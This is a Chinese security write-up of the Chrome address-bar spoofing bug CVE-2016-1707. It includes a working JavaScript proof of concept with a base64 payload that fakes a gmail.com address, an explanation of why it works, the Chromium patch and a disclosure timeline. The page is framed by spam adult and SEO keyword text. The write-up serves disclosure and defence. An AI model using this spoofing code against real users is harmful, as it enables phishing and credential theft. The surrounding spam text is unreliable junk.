成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707)

安全 漏洞
Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707),這個漏洞筆者于2016年6月報告給Google,現在把漏洞細節分享給大家。URL Spoofing漏洞可以偽造一個合法的網站地址。攻擊者可以利用這個漏洞對用戶發起網絡釣魚攻擊。

Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707),這個漏洞筆者于2016年6月報告給Google,現在把漏洞細節分享給大家。URL Spoofing漏洞可以偽造一個合法的網站地址。攻擊者可以利用這個漏洞對用戶發起網絡釣魚攻擊。

受影響版本:Chrome < v52.0.2743.82,IOS < v10

0x01 漏洞詳情

  1. POC:  
  2. <script>  
  3. payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=" 
  4. function pwned() {  
  5. var t = window.open('https://www.gmail.com/''aaaa');  
  6. t.document.write(atob(payload));  
  7. t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");  
  8.  
  9. </script>  
  10. <a href="https://hack.com::/" target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br> 

那么這個漏洞是如何發生的呢?筆者現在來解讀一下整個代碼的加載過程。首先點擊click me這個鏈接,瀏覽器去打開一個name為aaaa的新窗口,這個頁面去加載“https://hack.com::”,這個地址可以隨便寫。500微秒后運行pwned(),在aaaa窗口打開https://www.gmail.com,當然這個URL可以為空。到現在為止,一切代碼運行都很正常,接下來這段代碼就是觸發漏洞的核心代碼。

base64加密的這段代碼:

  1. base64 payload code:  
  2. <body></body>  
  3. <script>  
  4. var link = document.createElement('a');  
  5. link.href = 'https://gmail.com::' 
  6. document.body.appendChild(link);  
  7. link.click();  
  8. </script> 

接下來這段代開始在aaaa窗口頁面去提交(commit)https://gmail.com::,這是一個很奇妙的事情,https://gmail.com::本是一個無效的地址,如何去被提交呢。在嘗試了多種方法后,筆者發現使用a標簽點擊的方式可以做到(window.open/location則不可以),并且使這個無效地址處在了一個等待狀態(pending status)。此時,實際Chrome是加載了about:blank(已經到了about:blank域),但在處理最后URL地址欄中的顯示時,Chrome卻選擇了處在等待狀態的https://gmail.com:: 作為最后的提交地址,加載后的https://gmail.com::在URL地址欄中會以https://gmail.com這樣的方式呈現,兩個::會被隱藏。此時,整個加載過程完成。一個完美的URL Spoofing漏洞就這樣產生了。

Online demo:

http://xisigr.com/test/spoof/chrome/1.html

http://xisigr.com/test/spoof/chrome/2.html

如果你還沒有升級版本,Chrome < v52.0.2743.82,IOS < v10,那么可以嘗試運行筆者網站上的這兩個DEMO。

0x02如何修復

這個漏洞最關鍵的地方是,Chrome允許在Web頁面加載的時候,提交一個無效的地址所導致。Google也是基于此給出了補丁文件,就是在加載Web頁面的時候不允許提交無效地址,如果檢測到是無效地址,則直接使當前URL為about:blank。

  1. [self optOutScrollsToTopForSubviews];  
  2. // Ensure the URL is as expected (and already reported to the delegate).  
  3. - DCHECK(currentURL == _lastRegisteredRequestURL) //之前只是判斷了當前URL和最后請求的URL是否相同  
  4. + // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be  
  5. + // "about:blank" 
  6. + DCHECK((currentURL == _lastRegisteredRequestURL) ||  
  7. + (!_lastRegisteredRequestURL.is_valid() && //增加判斷是否是一個無效的URL  
  8. + _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))  
  9. << std::endl  
  10. << "currentURL = [" << currentURL << "]" << std::endl  
  11. << "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]" 
  12. // This is the point where the document's URL has actually changed, and  
  13. // pending navigation information should be applied to state information.  
  14. [self setDocumentURL:net::GURLWithNSURL([_webView URL])];  
  15. - DCHECK(_documentURL == _lastRegisteredRequestURL);  
  16.  
  17. + if (!_lastRegisteredRequestURL.is_valid() &&  
  18. + _documentURL != _lastRegisteredRequestURL) {  
  19. + // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL|  
  20. + // will be "about:blank" 
  21. + [[self sessionController] updatePendingEntry:_documentURL];  
  22. + }  
  23. + DCHECK(_documentURL == _lastRegisteredRequestURL ||  
  24. + (!_lastRegisteredRequestURL.is_valid() &&  
  25. + _documentURL.spec() == url::kAboutBlankURL));  
  26.  
  27. self.webStateImpl->OnNavigationCommitted(_documentURL);  
  28. [self commitPendingNavigationInfo];  
  29. if ([self currentBackForwardListItemHolder]->navigation_type() == 

0x03 披露時間

2016/6/22 報送給Google,https://bugs.chromium.org/

2016/6/22 Google確認漏洞,漏洞級別High

2016/7/14 Google確認獎勵$3000

2016/7/20 Google發布安全公告,CVE-2016-1707

2016/10/2 Google公開漏洞

責任編輯:武曉燕 來源: 紅黑聯盟
相關推薦

2015-12-01 10:43:55

2020-10-21 11:48:22

欺騙漏洞

2009-07-16 14:13:35

Swing地址欄

2011-05-20 17:23:41

Chrome 13

2011-11-04 15:28:49

傲游瀏覽器

2017-01-03 20:13:02

2021-05-27 20:46:22

瀏覽器地址欄谷歌

2023-01-27 11:01:54

谷歌Chrome瀏覽器

2020-10-26 09:56:40

惡意攻擊手機瀏覽器地址欄欺騙

2011-06-16 11:15:04

2010-08-27 09:47:07

谷歌

2012-08-05 17:13:47

傲游

2010-08-26 17:54:16

微軟

2009-12-28 12:16:54

2013-11-27 15:38:14

IE瀏覽器故障

2011-02-21 14:10:50

Chrome

2009-12-16 10:04:51

Chrome瀏覽器漏洞

2023-02-02 16:35:36

微軟Edge瀏覽器

2020-12-09 09:32:03

漏洞黑客瀏覽器

2021-05-27 15:06:41

Chrome瀏覽器Google
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 一区二区三区四区免费观看 | 成人精品啪啪欧美成 | 成人免费三级电影 | 国产免费又色又爽又黄在线观看 | 欧美9999 | 久草视频观看 | 精品国产一区二区三区久久 | 日韩在线观看一区 | www国产成人免费观看视频,深夜成人网 | 手机在线一区二区三区 | 天天干天天操天天看 | 99久久亚洲 | 激情国产在线 | 欧美黑人体内she精在线观看 | 毛片网站免费观看 | 天天视频成人 | 久久久日韩精品一区二区三区 | 中文字幕在线观看第一页 | 亚洲免费在线视频 | 国产乱码一区 | 一区二区视频免费观看 | 亚洲国产日韩欧美 | 色综合久久久 | 午夜在线观看免费 | 国产精品九九九 | 国产99久久精品一区二区永久免费 | 亚洲精品粉嫩美女一区 | 久久骚| 欧美精品一区在线 | 人人九九 | 超黄毛片 | 在线免费观看黄网 | 亚州精品天堂中文字幕 | 国产日韩欧美一区二区在线播放 | 五月婷婷激情网 | 全免费a级毛片免费看视频免费下 | 黄色大片免费网站 | 成人在线h| 在线一区视频 | 人人鲁人人莫人人爱精品 | 国产精品精品久久久久久 |